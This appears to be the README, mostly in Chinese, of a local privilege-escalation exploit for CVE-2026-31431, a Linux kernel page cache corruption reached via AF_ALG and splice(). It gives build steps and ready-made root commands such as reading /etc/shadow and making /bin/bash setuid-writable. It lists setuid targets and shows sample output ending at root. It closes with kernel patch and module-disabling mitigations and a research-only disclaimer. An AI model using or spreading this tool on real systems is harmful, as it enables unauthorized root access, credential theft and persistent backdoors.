
Exploit for CVE-2026-31431, a Linux kernel page cache corruption vulnerability, providing interactive root shell and non-interactive command execution via AF_ALG and splice() chains.
Linux 内核 page cache 污染漏洞利用工具,支持非交互式命令执行。
CVE-2026-31431 是 Linux 内核中的一个逻辑缺陷漏洞,存在于 authencesn AEAD 算法实现中。通过 AF_ALG 和 splice() 系统调用链,攻击者可以向任意可读文件的 page cache 写入 4 字节数据。
影响范围:
漏洞特点:
.
├── copyfail_universal.c # 主POC源码(静态编译,无libc依赖)
├── copyfail_universal # 编译后的二进制文件
├── run_cmd.sh # 非交互式执行wrapper脚本
├── Makefile # 编译脚本
└── README.md # 本文档
# 方法1: 使用gcc和ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# 方法2: 使用Makefile
make
./copyfail_universal
# 方法1: 使用wrapper脚本(推荐)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# 方法2: 通过管道
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# 方法3: 使用环境变量
CMD='whoami' ./copyfail_universal
# 默认目标是 /usr/bin/su
# 可以通过修改源码中的 path 变量指定其他目标
# 常见可用目标:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
漏洞仅修改 page cache,不修改磁盘文件。执行以下命令可恢复:
sync; echo 3 > /proc/sys/vm/drop_caches
run_cmd.sh 脚本已内置自动恢复功能。
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
查找系统上所有 setuid 程序:
find / -perm -4000 -user root -type f 2>/dev/null
更新内核 - 升级到包含补丁 a664bf3d603d 的内核版本
临时缓解 - 禁用 algif_aead 模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
容器环境 - 使用 seccomp 阻止 AF_ALG socket 创建
authencesn 使用目标缓冲区作为临时存储,写入超出边界的 4 字节splice() 将 page cache 页面传入 crypto 子系统本工具仅供安全研究和授权测试使用。使用本工具攻击未授权系统属于违法行为。使用者需自行承担所有法律责任。
| 程序 | 路径 | 可用性 |
|---|
| su | /usr/bin/su | ✅ 默认 |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |